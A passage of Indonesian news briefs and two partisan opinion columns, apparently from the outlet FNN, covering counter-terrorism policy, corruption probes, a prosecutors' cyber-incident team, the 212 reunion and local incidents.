Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat 1 ke-1 KUHP. (sws)

Basmi Ideologi Takfiri Cegah Radikalisme dan Terorisme di Indonesia

Jakarta, FNN- Agama yang kerap dikambinghitamkan sebagai celah masuknya radikalisme dan terorisme di Tanah Air bukanlah barang baru. Bahkan dalam beberapa waktu terakhir, penangkapan para terduga teroris yang mengatasnamakan agama semakin membuat sebagian masyarakat cenderung berpikiran pendek. Ada yang menyudutkan bahwa agama berkaitan dengan radikalisme ataupun terorisme. Ada pula yang menyudutkan penganut agama yang mendominasi Indonesia paling berpotensi menjadi sosok teroris. Direktur Pencegahan Badan Nasional Penanggulangan Terorisme (BNPT) Brigjen Pol. R Ahmad Nurwakhid menegaskan bahwa agama, khususnya yang para penganutnya mendominasi suatu negara, tidak berkaitan dengan radikalisme ataupun terorisme. Menurutnya, oknum-oknum tidak bertanggung jawab yang mengatasnamakan agama tersebut sesungguhnya memiliki pemahaman keagamaan dan cara beragama yang keliru atau menyimpang. Sebagaimana salah satu akar utama masalah radikalisme dan terorisme itu berkenaan dengan ideologi, tambah Nurwakhid, mereka yang mengatasnamakan agama untuk melakukan teror berarti telah terpapar ideologi yang mengalami distorsi atau penyimpangan. Dengan demikian, seluruh masyarakat Indonesia sepatutnya memahami bahwa tidak ada kaitan di antara seluruh aksi terorisme dan agama apa pun. Karena pada dasarnya, tidak ada satu pun agama yang membenarkan tindakan radikal dan terorisme. Ideologi Takfiri Nurwakhid pun menilai mencuatnya peningkatan kasus radikalisme dan terorisme yang mengatasnamakan agama tidak dapat dilepaskan dari upaya pemerintah yang belum menjurus pada pembasmian ideologi Takfiri. Ia menjelaskan ideologi Takfiri merupakan paham yang dianut sekelompok orang untuk mengafirkan mereka yang dianggap berbeda. Bahkan, sesama muslim pun dapat dianggap oleh para penganut Takfiri sebagai orang kafir. Kemudian, paham tersebut memunculkan sifat eksklusif, intoleran terhadap keberagaman dan perbedaan, serta sikap antipemerintahan yang sah. Lebih lanjut, Nurwakhid menekankan para penganut ideologi Takfiri juga menganggap pemerintah seharusnya menganut ideologi agama versi mereka. Hal senada juga diungkapkan oleh Cendekiawan Yahya Nuryadi. Ia menilai ideologi Takfiri berpotensi memunculkan dampak-dampak destruktif dalam berbagai bidang, mulai dari kehidupan sosial, politik, bahkan akhlak dari masing-masing masyarakat yang terpapar. Di sisi lain, Ulama KH Bahauddin Nursalim atau yang akrab disapa Gus Baha menegaskan ideologi Takfiri yang mengafirkan orang lain tidak memiliki dasar bersifat ilmiah. Menurutnya, ideologi Takfiri yang mudah mengafirkan seseorang itu jelas tidak memiliki satu pun rujukan. Gus Baha mengambil contoh, ketika seorang kafir melafalkan kalimat syahadat, ia mampu menghilangkan kekafirannya. Dengan demikian, tidak masuk akal jika sesama muslim mengatakan muslim tertentu sebagai bagian dari kaum kafir. Akan tetapi dalam praktiknya, keberadaan ideologi Takfiri memang belum dilarang dan ditegaskan pelarangannya ke dalam regulasi yang ada di Indonesia. Hingga saat ini, pemerintah cenderung berfokus membasmi organisasi-organisasi penganut ideologi Takfiri dengan membubarkan mereka menggunakan Undang-Undang (UU) Nomor 16 Tahun 2017 tentang Organisasi Kemasyarakatan. Organisasi kemasyarakatan (Ormas) seperti Hizbut Tahrir Indonesia (HTI) dan Front Pembela Islam (FPI) telah dibubarkan, namun ideologi Takfiri yang mereka anut belum dilarang. Regulasi tegas larang ideologi Takfiri R Ahmad Nurwakhid selanjutnya mengambil contoh pelarangan terhadap ideologi Marxisme, Komunisme, dan Leninisme yang dilakukan pemerintah dan diatur secara tegas dalam regulasi berupa TAP MPRS Nomor XXV/MPRS/1966 tentang Larangan Ajaran Komunisme/Marxisme dan aturan turunannya dalam UU Nomor 27 Tahun 1999 tentang Perubahan Kitab-Kitab Undang-Undang Hukum Pidana yang Berkaitan dengan Kejahatan terhadap Keamanan Negara. . Sepatutnya, saran dia, pemerintah juga melakukan hal serupa terhadap ideologi Takfiri, seperti khilafahisme atau daulahisme yang bertentangan dengan ideologi negara Indonesia, yakni Pancasila. Nurwakhid juga bercermin pada keputusan pemerintah untuk mengeluarkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) pascaperistiwa Bom Bali 12 Oktober 2002. Pada saat itu, diberlakukan Perppu Nomor 1 Tahun 2002 tentang Pemberantasan Tindak Pidana Terorisme pada Peristiwa Peledakan BOM di Bali Tanggal 12 Oktober 2002. Kemudian, jelas Nurwakhid, perppu tersebut dibentuk ke dalam Undang-Undang Nomor 15 tahun 2003 tentang Penetapan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2002 tentang Pemberantasan Tindak Pidana Terorisme menjadi Undang-Undang. Semenjak regulasi itu ditetapkan, seluruh elemen bangsa Indonesia dapat merasa lebih aman karena pemerintah telah secara tegas memberantas tindak pidana terorisme. Oleh karena itu, hal yang sama juga diharapkan dapat diberlakukan untuk pemberantasan ideologi Takfiri. Pemerintah disarankan segera mengeluarkan perppu yang melarang ideologi Takfiri atau ideologi lainnya yang bertentangan dengan Pancasila. Dengan demikian, tidak ada lagi masyarakat yang beranggapan bahwa agama menjadi pendorong berbagai tindakan radikalisme dan terorisme. Seluruh elemen bangsa pun dapat menjadi tenang dan aman, kemudian dapat berfokus membangun bangsa dan negara. Di samping itu, sudah sepatutnya pula masyarakat ikut memahami bahaya ideologi Takfiri ataupun ideologi selain Pancasila dalam mengundang kemunculan benih-benih radikalisme dan terorisme, bahkan merusak kesatuan dan persatuan Negara Kesatuan Republik Indonesia (NKRI). Ini juga menjadi momentum bagi seluruh elemen bangsa Indonesia untuk semakin menguatkan moderasi beragama, yaitu menyinergikan keadilan dan kebaikan dengan memahami serta mengamalkan ajaran agama dengan tidak bersikap ataupun bertindak secara ekstrem. Sudah sepatutnya, kebinekaan yang merupakan keniscayaan bagi bangsa Indonesia terus dirawat dalam moderasi beragama ataupun penguatan nilai-nilai Pancasila. Dengan demikian, imunitas negeri ini terhadap papaparan radikalisme dan terorisme pun dapat ditingkatkan dan dimaksimalkan. (sws)

KPK Dalami Jatah Kuota Rokok di Bintan Dilebihkan Disertai "Fee"

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami jatah kuota rokok dan minuman beralkohol dilebihkan untuk perusahaan-perusahaan tertentu yang disertai adanya "fee" dalam kasus dugaan korupsi pengaturan barang kena cukai di Kabupaten Bintan. KPK memeriksa dua saksi di Gedung KPK, Jakarta, Rabu (1/12) untuk tersangka Bupati Bintan nonaktif Apri Sujadi (AS) dalam penyidikan kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan 2016-2018. "Kedua saksi hadir dan tim penyidik mendalami pengetahuannya terkait dengan penjatahan kuota rokok dan minuman beralkohol yang dilebihkan hanya untuk perusahaan-perusahaan tertentu disertai adanya nilai persentase 'fee' yang beragam sesuai dengan jatah kuota dimaksud," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Dua saksi, yakni Anggota DPRD Kabupaten Bintan Muhammad Yatir dan Yhordanus selaku Direktur PT Yofa Niaga Pastya. "Tim penyidik masih terus mengumpulkan alat bukti dari keterangan para saksi serta analisa berbagai dokumen terkait dengan adanya pemberian kuota rokok dan minuman beralkohol yang melebihi batas aturan pemberian kuota dimaksud," ucap Ali. KPK telah menetapkan Apri bersama Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H Umar (MSU) sebagai tersangka. Keduanya disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Apri diduga menerima sekitar Rp6,3 miliar dan Mohd Saleh menerima sekitar Rp800 juta. Dalam konstruksi perkara, KPK menjelaskan tersangka Apri pada 17 Februari 2016 dilantik menjadi Bupati Bintan yang secara "ex-officio" menjabat sebagai Wakil Ketua I Dewan Kawasan Bintan. Atas persetujuan Apri, dilakukan penetapan kuota rokok dan Minuman Mengandung Etil Alkohol (MMEA) dan menerbitkan kuota rokok sebanyak 290.760.000 batang dan kuota MMEA dengan rincian, yakni golongan A sebanyak 228.107,40 liter, golongan B sebanyak 35.152,10 liter, dan golongan C sebanyak 17.861.20 liter. Pada 2017, BP Bintan menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota MMEA dan diduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui oleh Mohd Saleh untuk menambah kuota rokok BP Bintan Tahun 2018 dari hitungan awal sebanyak 21.000 karton sehingga total kuota rokok dan kuota MMEA yang ditetapkan BP Bintan Tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya kembali dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp250 miliar. (sws)

Kapolres Batanghari Diperiksa Propam Polda Jambi Terkait Tahanan Kabur

Jambi, FNN - Kapolres Batanghari, AKBP Heru Ekwanto bersama anggotanya telah diperiksa Bidang Profesi dan Pengamanan (Bid Propam) Polda Jambi terkait kaburnya 24 tahanan polres di Lembaga Pembinaan Khusus Anak (LPKA) Muara Bulian Kabupaten Batanghari. "Saya sudah perintahkan Kabid Propam untuk memeriksa Kapolres Batanghari AKBP Heru Ekwanto di Propam Polda Jambi," kata Kapolda Jambi, Irjen Pol A Rachmad Wibowo di Jambi, Kamis. Kapolda mengatakan, Bidang Propam Polda Jambi tengah memeriksa Kapolres Batanghari dan personil lainnya buntut dari kaburnya ke-24 tahanan polres dari LPKA Muara Bulian. "Kasus ini sedang kita proses, Kapolres juga lagi kita proses di Bid Propam," kata Albertus Rachmad Wiibowo. Ditanya apakah akan masuk ke Sidang Etik? Kapolda Jambi menjawab belum mengetahui dan belum tentu masuk sidang kode etik karena sampai saat ini masih dalam pemeriksaan "Belum tentu masih dalam proses pemeriksaan," tegasnya. Untuk diketahui, Kabid Humas Polda Jambi, Kombes Pol Mulia Priyanto beberapa waktu lalu mengatakan, Tim dari Bid Propam Polda Jambi telah meminta keterangan 10 orang personel Polres Batanghari dan sampai saat ini pemeriksaan masih berlangsung. Sampai saat ini dari 24 tahanan yang kabur tersebut, sudah 19 orang yang berhasil ditangkap kembali pasca kabur, sedangkan lima tahanan lagi masih diburu keberadaannya. (sws)

Imigrasi Gelar Operasi Gabungan Timpora di Perairan Dumai

Pekanbaru, FNN - Direktur Pengawasan dan Penindakan Keimigrasian (Dirwasdakim) Direktorat Jenderal Imigrasi, Pria Wibawa, melepas operasi gabungan Tim Pengawasan Orang Asing (Timpora) yang akan menelusuri wilayah perairan Dumai. "Operasi gabungan Timpora ini harus dimanfaatkan dengan sebaik-baiknya sebagai sarana komunikasi serta kolaborasi seluruh instansi terkait," kata Pria Wibawa dalam keterangannya kepada Antara, di Dumai, Kamis. Menurut Pria Wibawa, Operasi gabungan Timpora diperlukan mengingat pengawasan keimigrasian tidak hanya terbatas pada keberadaan WNA, namun juga perlu memperhatikan kasus seperti tenaga kerja non prosedur, tenaga kerja asing ilegal, "illegal fishing", penyelundupan narkoba, dan berbagai pelanggaran batas wilayah negara. "Mari kita bekerja sama melaksanakan tugas dan fungsi masing-masing. Lebih perketat lagi pengawasan orang asing dalam pergerakan atau kegiatannya. Apakah bekerja, liburan, atau bisnis. Apakah melakukan tumpangan- tumpangan seperti mengedarkan narkoba, terorisme, maupun radikalisme," ujar Pria Wibawa. Dalam menerima keberadaan orang asing, katanya lagi, Pemerintah Indonesia menerapkan prinsip menerima keberadaan warga asing yang bermanfaat bagi bangsa dan negara. Apabila memberikan dampak buruk, maka tidak akan diterima. "Setelah melihat pelayanan publik yang diberikan oleh Kanim Dumai beserta inovasi untuk mempermudah masyarakat dalam pelayanan keimigrasian, saya yakin Kanim Dumai dapat memperoleh predikat WBK pada tahun ini," ujar Direktur Wasdakim. Rudi Hartono yang juga menjabat sebagai Kadiv Administrasi mengatakan wilayah Riau khususnya wilayah perairan Dumai merupakan wilayah perairan yang potensial keluar masuknya WNA maupun WNI secara ilegal. "Melalui operasi gabungan ini diharapkan kita dapat melakukan pemeriksaan, pendataan dan pengawasan terkait keberadaan dan kegiatan orang asing," kata Rudi. Direktur Wasdakim dan rombongan juga meninjau kapal patroli milik Lanal Dumai yang akan digunakan dalam operasi. Setelah melepas operasi gabungan Timpora, Direktur Wasdakim beserta rombongan kemudian mengunjungi Kantor Imigrasi Kelas II TPI Dumai untuk melihat kualitas pelayanan publik. (sws)

SAR Pangkalpinang Hentikan Operasi Penyelamatan 9 ABK Kapal Terbakar

Sungailiat, Bangka, FNN - Kepala Kantor SAR Pangkalpinang Provinsi Kepulauan Bangka Belitung, Fazzli menghentikan operasi penyelamatan sembilan anak buah kapal layar motor (KLM) Berkat Niaga Abadi yang terbakar di perairan pantai Bembang Jebus Bangka Barat. "Kami menutup kegiatan operasi tersebut setelah sembilan ABK KLM Berkat Niaga Abadi dinyatakan selamat," katanya melalui keterangan resmi, Kamis. Dia mengatakan, seluruh ABK dipastikan selamat dan saat ini diserahkan ke otoritas pelabuhan yakni Kantor Kesyahbandaran dan Otoritas pelabuhan (KSOP) untuk pengembangan investigasi penyebab terjadinya kebakaran. Kesembilan ABK itu adalah Muslim (51) asal Sulawesi Tengah, ahmad Taher Majid (18) Maluku Tengah, Majih (43) Lamongan Jatim, Anang Aswan (51) Kalimantan Tengah. Kemudian Hendra Gunawan (23) Kalimantan Tengah, Heri Kiswanto (20) asal Kalimantan Tengah. Ari Jandi (20) asal Maluku, Wahyudi (20) asal Kalimantan Barat dan Abdul Majid (52) asal Sulawesi Selatan. KLM Berkat Niaga Abadi berangkat dari pelabuhan 16 Ilir Palembang Sumatera Selatan pada Rabu (1/12) pukul 03.00 WIB dengan tujuan Pontianak. Selama perjalanan dari dermaga 16 Ilir Palembang kapal dalam keadaan baik dan cuaca ombak aman dan teduh. Setelah memasuki perairan pantai Bembang Jebus Bangka Barat Bangka Belitung , sekitar pukul 16.15 WIB pada koordinat 01.38'000 - 105.15'000 kapal terjadi kebakaran dari arah kamar mesin. Pemilik KLM Berkat Niaga Abadi yang terbakar diduga konsleting listrik di kamar mesin bermuatan karet seberat 250 ton yakni Akon yang merupakan warga asal Kota Pangkalpinang Bangka Belitung. (sws)

Legislatif Lebak Desak Pemda Serius Tangani Kasus Kekerasan Seksual

Lebak, FNN - Anggota DPRD Kabupaten Lebak Musa Weliansyah mendesak pemerintah daerah serius untuk menangani kasus kekerasan seksual yang dialami anak dan perempuan, karena jumlah korban cenderung meningkat. Berdasarkan data tahun 2020 tercatat 45 kasus, namun kini sampai November 2022 sebanyak 70 kasus, termasuk korban usia balita. "Kami minta para korban dapat didampingi untuk pemulihan kondisi mental mereka agar kembali kehidupan yang normal," kata Musa di Lebak, Kamis. Penanganan kasus kekerasan seksual terhadap anak dan perempuan di Kabupaten Lebak belum optimal, karena tahun ke tahun jumlah korban cenderung meningkat. Untuk menurunkan kasus kekerasan seksual anak dan perempuan, kata dia, pemda harus memiliki Lembaga UPTD Perlindungan Perempuan dan Anak. Lembaga itu sangat penting, karena Kabupaten Lebak masuk kategori darurat kekerasan seksual anak dan perempuan. Mereka para korban kekerasan seksual juga keluarganya dapat dikembalikan pemulihan kejiwaanya dan pelakunya diproses hukum hingga ke Pengadilan. Lembaga UPTD juga nantinya dapat menyosialisasikan kepada masyarakat tentang pemahaman peraturan perundang- undangan yang berlaku juga ancaman pidana bagi pelaku kekerasan seksual itu. Kegiatan sosialisasi dan edukasi itu berjalan maksimal hingga ke pelosok - pelosok desa dipastikan kasus kekerasan seksual terhadap anak di bawah umur bisa menurun. Selain itu juga masyarakat berani melaporkan jika terjadi kekerasan seksual ke Lembaga UPTD Perlindungan Perempuan dan Anak. "Kami melihat banyak masyarakat yang tidak melaporkan kasus kekerasan seksual anak dan perempuan karena tidak adanya lembaga itu, " kata Musa. Musa mengatakan, untuk pencegahan kekerasan seksual terhadap anak dibawah umur tentunya pemerintah juga harus menggandeng Majelis Ulama Indonesia (MUI) dan organisasi kemasyarakatan lainnya. Kehadiran MUI sangat penting untuk mengingat para pelaku yang mayoritas beragama Islam, bahkan ada juga oknum guru mengaji. Karena itu, perlu tindakan serius dari pemerintah dengan melibatkan MUI yang nantinya bisa memberikan bimbingan melalui para kiai atau guru mengaji hingga ke pelosok desa. Melibatkan para tokoh agama ini sangat penting, mengingat peran orang tua di dalam menjaga keluarganya, sehingga pemahaman akidah ini perlu agar para orang tua bisa menjaga anaknya dengan baik sesuai ajaran Islam dan aturan perundang-undangan yang berlaku. Saya kira pelaku itu karena lemah akidahnya, sehingga perlu dilakukan pemahaman keagamaan yang benar, " katanya. Sementara itu, Kepala Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan, dan Perlindungan Anak (DP2KBP3A) Kabupaten Lebak, Dedi Lukman Indepur mengatakan kasus kekerasan seksual di daerah ini diibaratkan seperti fenomena 'gunung es', karena banyak masyarakat yang tidak melaporkan kasus kekerasan seksual kepada aparat penegak hukum. Dia berharap masyarakat proaktif melaporkan kasus kekerasan seksual yang dialami anak dan perempuan. "Kami terus berupaya untuk pencegahan kasus kekerasan seksual itu dengan mengoptimalkan edukasi sosialisasi kepada masyarakat," ujarnya. (sws)

Kejaksaan Agung Bentuk Tim Insiden Siber

Jakarta, FNN - Jaksa Agung Sanitiar Burhanuddin meluncurkan Tim Insiden Siber Kejaksaan Agung atau Computer Security Incident Response Team (CSIRT) yang bertugas mencegah terjadinya insiden keamanan informasi atau peretasan dan pencurian data. Terbentuknya Kejaksaan Agung-CSIRT hasil kolaborasi Pusat Data Statistik Kriminal dan Teknologi Informasi (Pusat Daskrimti) dengan Direktur E pada Jaksa Agung Muda Intelijen didukung oleh Badan Siber dan Sandi Negara. "Saya memberikan apresiasi dan mengucapkan terima kasih kepada Kepala Badan Siber dan Sandi Negara dan jajarannya yang telah membantu terbentuknya Kejaksaan Agung-CSIRT," kata Burhanuddin, dikutip dalam keterangan pers Pusat Penerangan Hukum Kejaksaan Agung, yang diterima di Jakarta, Kamis. Peluncuran Kejaksaan Agung-CSIRT berlangsung secara virtual di Gedung Menara Kartika Adhyaksa Kebayoran Baru Jakarta, Rabu (1/12). Menurut Burhanuddin, kehidupan di dunia telah berubah menuju digitalisasi dan serba otomatis. Internet telah digunakan untuk segala hal (Internet of Things), ini ditandai jumlah penggunaan internet di seluruh dunia semakin hari semakin terus meningkat. Bahkan pada kondisi pandemi COVID-19 ini menyebabkan sebagian besar kegiatan manusia beralih dari cara konvensional menjadi modern dengan menggunakan internet. Untuk jumlah pengguna internet di Indonesia saat ini telah mencapai 202 juta orang, atau 73 persen dari total 274 juta penduduk Indonesia, hal ini menunjukkan Indonesia menjadi pengguna internet terbesar keempat dunia. Jaringan internet saat ini telah tersambung ke seluruh dunia, yang telah memberikan manfaat berupa sarana konektivitas dan komunikasi serta telah memberikan kemudahan akses informasi, pengetahuan, edukasi, alamat, pemetaan, maupun kemudahan berbisnis ataupun hiburan. "Menghadapi era digital ini, Kejaksaan juga terus menyesuaikan dengan perkembangan zaman," kata Burhanuddin. Untuk meningkatkan kinerja dan pelayanan publik, Kejaksaan juga sudah menerapkan banyak aplikasi berbasis digital. Mulai penanganan perkara dalam Case Manajemen System (CMS), persuratan dengan Sipede, Kepegawaian dengan aplikasi Simkari, ada E-tilang, E-PNBP sampai Kejaksaan Mobile. Semua terintegrasi dalam program Kejaksaan Digital Namun di sisi lain, lanjut Burhanuddin, kemajuan dan manfaat penggunaan informasi teknologi tersebut ternyata sering terjadi insiden keamanan informasi. Baik berupa gangguan pada sistem komputer, serangan virus, akses illegal, kebocoran informasi dan lain sebagainya. Untuk merespon insiden keamanan informasi tersebut, pemerintah melalui Badan Siber dan Sandi Negara telah membentuk Government- Computer Security Incident Response Team (CSIRT) Indonesia yang disingkat Gov-CSIRT Indonesia yang memiliki tugas monitoring, menerima, meninjau dan menanggapi laporan dan aktivitas insiden keamanan siber. Selanjutnya untuk mendukung dan mengoptimalisasi perlindungan sistem atau data termasuk penyelidikan komprehensif atas insiden keamanan siber maka dibentuk Kejaksaan Agung-CSIRT. "Diharapkan tim ini mampu menanggulangi setiap insiden keamanan siber pada sektor pemerintah, khususnya Kejaksaan secara cepat, terarah dan terintegrasi," kata Burhanuddin. Selain itu, tim juga diharapkan mampu mengakselerasi terbangunnya sistem mitigasi, manajemen krisis dalam setiap penanganan insiden keamanan siber. (sws)

Reuni Akbar 212 Batal Digelar di Az-Zikra Sentul

Sentul, Bogor, FNN - Kegiatan Reuni Akbar 212 dipastikan batal digelar di Masjid Az-Zikra Sentul, Kabupaten Bogor, Jawa Barat, setelah keluarga Almarhum Ustaz Arifin Ilham menolak karena masih dalam suasana duka. "Karena ada permintaan dari keluarga yang kebetulan sedang berduka, karena sebelumnya ada permintaan belum berduka, tapi kemarin berduka," ungkap Ketua Yayasan Az-Zikra, Khotib Kholil saat dihubungi di Bogor, Rabu. Pasalnya, keluarga besar di Masjid Az-Zikra masih diselimuti duka atas wafatnya putra kedua dari Almarhum Ustaz Arifin Ilham, Muhammad Ameer Adz Zikro pada Senin, 29 November 2021. Khotib Kholil menyebutkan bahwa panitia Reuni Akbar 212 telah menerima surat penolakan dari keluarga almarhum dan akan mencari lokasi alternatif pelaksanaan reuni akbar. "Kita sudah bicara sama panitia 212 juga, mereka menerima dan mencari alternatif tempat. Kita bukan tidak ingin, tapi menghargai yang berduka, sehingga dari 212 juga itu menerima hal tersebut," terangnya. Surat penolakan yang dilayangkan oleh keluarga Almarhum Ustaz Arifin Ilham tersebut merupakan jawaban surat permohonan dari panitia penyelenggara Reuni Akbar 212, yang ditanda tangani oleh Ketua Panitia, Eka Jaya pada 29 November 2021. Eka Jaya dalam suratnya menyampaikan permohonan mengenai penggunaan seluruh fasilitas Masjid Az Zikra untuk digunakan dalam kegiatan Sholat Subuh berjamaah, hingga kegiatan "Dzikir dan Munajat". "Waktu pukul 04.00 WIB sampai dengan 10.30 WIB dengan undangan VIP ulama dan tokoh nasional 50 orang," kata Eka Jaya. (sws)

Wali Kota Kendari Lapor Tambang Diduga Ilegal ke KPK

Kendari, FNN - Wali Kota Kendari Sulkarnain Kadir melaporkan kepada Komisi Pemberantasan Korupsi (KPK) terkait adanya dugaan tambang pasir ilegal yang beroperasi di kawasan Kecamatan Nambo daerah setempat. Sulkarnain melaporkan hal itu secara langsung kepada Ketua KPK Firli Bahuri pada kegiatan Hari Anti Korupsi Sedunia (Hakordia) tahun 2021 yang dilaksanakan di Kota Kendari, Sulawesi Tenggara, Rabu. "Saya sudah laporkan ke KPK, kita diapresiasi karena mengambil sikap tegas," kata Sulkarnain. Menurut dia, harus ada langkah tegas dalam menangani masalah itu karena dalam rencana tata ruang wilayah Kota Kendari tidak ada kawasan pertambangan. "Tentu ini harus ada langkah yang lebih jelas karena kawasan kita di Kota Kendari menurut rencana tata ruang, tidak ada kawasan pertambangan, tetapi faktanya ada," ujar dia. Wali Kota berharap setelah melaporkan dan berkoordinasi dengan KPK, pihaknya bisa mendapatkan kejelasan terkait tambang galian C tersebut karena menurutnya berdampak buruk terhadap lingkungan. "Karena tadi pihak kementerian terwakili langsung dari ESDM dan Kementerian Investasi dan BKPM. Mudah-mudahan pemerintah pusat bisa melihat realitas yang ada di daerah dan bisa mengambil kebijakan yang lebih pro daerah," kata Sulkarnain Kadir. Sebelumnya, aktivitas penambangan pasir illegal yang berlokasi di Kelurahan Nambo, Kecamatan Nambo disegel Pemerintah Kota Kendari, Senin (16/8). Pemerintah Kota Kendari memutuskan memasang plang penyegelan karena sebelumnya Pemerintah Kota Kendari sudah meminta lokasi penambangan tutup sementara. Selain itu, pemilik usaha tambang galian C tersebut juga sudah mendapat teguran atau peringatan akibat tidak memiliki izin sehingga tidak dibolehkan beraktivitas. (sws)

Tuhan Kita Bukan Orang Arab

By M Rizal Fadillah Ucapan orang yang dangkal dalam memahami keagamaan adalah seperti ini "Tuhan kita bukan orang Arab". Dari sisi dan perspektif apapun ucapan ini tidak benar. Analogi Tuhan dengan "orang" ya tidak pas. Di samping semua juga tahu bahwa Tuhan itu tidak bersuku dan berbangsa-bangsa. Adalah tokoh asal jeplak Jenderal Dudung Abdurrahman, KSAD baru yang mengungkapkannya. Sebelumnya pernah menyatakan bahwa semua agama sama di hadapan Tuhan. Darimana pak Jenderal tahu tentang pandangan atau sikap Tuhan ?Jenderal ini sering nyerempet agama tetapi tanpa basis keilmuan. Netizen berujar sebaiknya Dudung fokus pada bidang kerjanya saja sebagai Komandan Tentara yang harus membasmi kaum separatis seperti KKB Papua. Mereka radikalis dan teroris berbahaya. Sayang untuk inipun ternyata ucapannya kacau. Menurut Dudung KKB itu adalah saudara yang harus dirangkul. Do'a simpel berbahasa Indonesia sebenarnya tidak salah-salah amat jika kemampuannya cuma yang simpel-simpel itu. "Kalau saya berdo'a setelah sholat do'a saya simpel aja, ya Tuhan pakai bahasa Indonesia aja, karena Tuhan kita bukan orang Arab". Tak perlu kaitkan dengan Arab. Jika memiliki kemampuan do'a sebagaimana dalam Al Qur'an dan Al Hadits maka hal itu jauh lebih baik. Anak TK saja sudah terbiasa belajar do'a bahasa Arab. Doa makan, doa tidur, doa bangun atau mendoakan orang tua sebagaimana di ajarkan Nabi. Tidak perlu meyakini dulu bahwa Tuhan itu orang Arab. Ah Dudung ini ada-ada saja. Menurut Dudung lagi, "saya pakai bahasa Indonesia, ya Tuhan ya Allah saya ingin membantu orang, saya ingin menolong orang itu saja do'a nya, itu saja". Ironi do'a satu-satunya yaitu ingin membantu orang, ingin menolong orang, eh Dudung berdiri bangga berfose memfitnah anggota laskar FPI yang dianiaya dan dibunuh brutal. Lalu menolong siapa, membantu siapa ? Jadi teringat do'a Abu Nawas yang berstrategi atau mengakali Tuhan. Dengan bahasa "menolong dan membantu ibu". Abu Nawas berdo'a ingin mendapat jodoh wanita cantik dan sholehah. Dengan khusyu ia minta kepada Allah agar wanita cantik pujaannya menjadi jodohnya. Namanya disebut, keshalehannya juga. Namun lama belum juga dikabulkan. Lalu ia mengubah do'a dengan kepasrahan tinggi agar diberi istri yang terbaik menurut Allah bagi dirinya. Belum juga kabul. Strategi do'a diubah yaitu tidak untuk kepentingan dirinya lagi, tetapi dalam rangka menolong dan membantu orang. Do'anya agar ibunya diberi menantu. Abu Nawas mencoba mengakali agar ibunya diberi menantu yang dapat menolong dan membantu. "Ya Allah kini aku tidak lagi minta untuk diriku, aku hanya minta wanita sebagai menantu ibuku yang sudah tua dan perlu dibantu, saya sangat mencintai, sekali lagi berilah ia menantu". Entah dikabul entah tidak do'a dengan strategi atau akal-akalan seperti ini. *) Pemerhati Politik dan Kebangsaan

Jokowi Sangat Takut Angka 212

WUIH, 212 kini menjadi angka kramat, tetapi bukan dikramatkan. Jokowi sangat takut dengan angka itu. Terdiri dari tiga angka, ia muncul dari peristiwa 2 Desember 2016. Angka tersebut muncul setelah aksi besar-besaran dilakukan oleh umat Islam, yang menuntut agar Basuki Tjahya Purnama alias Ahok yang kala itu Gubernur Daerah Ibu Kota Jakarta dipenjara karena menista agama AlQuran dan agama Islam. Ahok akhirnya divonis dua tahun dan langsung dipenjara karena penistaan terhadap agama Islam. Ia pun mengakui kesalahanan melecehkan Surat Al-Maidah ayat 51, karena sama sekali tidak mengajukan banding. Angka 212 sangat populer di kalangan rakyat Indonesia, khususnya umat Islam. Bahkan, tidak sedikit penganut agama lain mengagumi angka tersebut. Sebab, angka itu membuat inspirasi kepada semua pihak, betapa umat Islam sangat damai, sangat menghormati penganut agama lain. Umat Islam sangat toleran. Buktinya, peserta aksi juga diikuti penganut agama Kristen, Katolik, Hindu, Budha, dan Konghucu. Kaum wanitanya datang tanpa jilbab dan aksesoris Islam. Tetapi, mereka aman-aman saja. Tidak ada gangguan. Tidak hanya sampai itu, umat Islam juga pencinta lingkungan dan kebersihan. Angka 212 semakin populer, setelah para tokoh agama Islam (kiai, habaib, ustaz) mampu mengajak jemaahnya melakukan aksi super damai. Oleh karena itu, aksi tersebut (sejak 2016) dan diperingati hampir tiap tahun – kecuali 2020 karena Coronavirus Disease 2019 (Covid-19) turut mewabah di Indonesia, disambut antusias. Bahkan, pada aksi 2018, banyak peserta baru (tidak ikut tahun 2016). Mereka ikut-ikutan, karena ingin mendulang suara pada Pemilihan Legislatif tahun 2019. Banyak caleg yang datang. Banyak pelajar dan mahasiswa datang, hanya sekedar rekreasi. Jutaan umat turun ke jalan. Seputar Monas pada 2-12-2016 penuh dengan lautan manusia. Bahkan, para pendemo mengular ke bebapa ruas jalan lainnya. Tidak ada angka resmi yang bisa menghitung jumlahnya. Ada yang memperkirakan 1,5 juta orang, tiga juta orang dan bahkan tujuh juta orang. Peristiwa 212 tahun 2016 bertepatan dengan hari Jum’at. Umat Islam pun shalat Jum’at di sekitar Monas dan sekitarnya. Hujan deras yang turun menjelang pelaksanaan shalat Jumat, sama sekali tidak mengurangi minat dan kekhusukan umat dalam melaksanakan ibadah wajib (bagi laki-laki) tersebut Khutbah Jum’at yang disampaikan Imam Besar Front Pembela Islam, Habib Rizieq Syihab (HRS) merupakan pemompa semangat juang jemaah. Bahkan, tidak sedikit yang 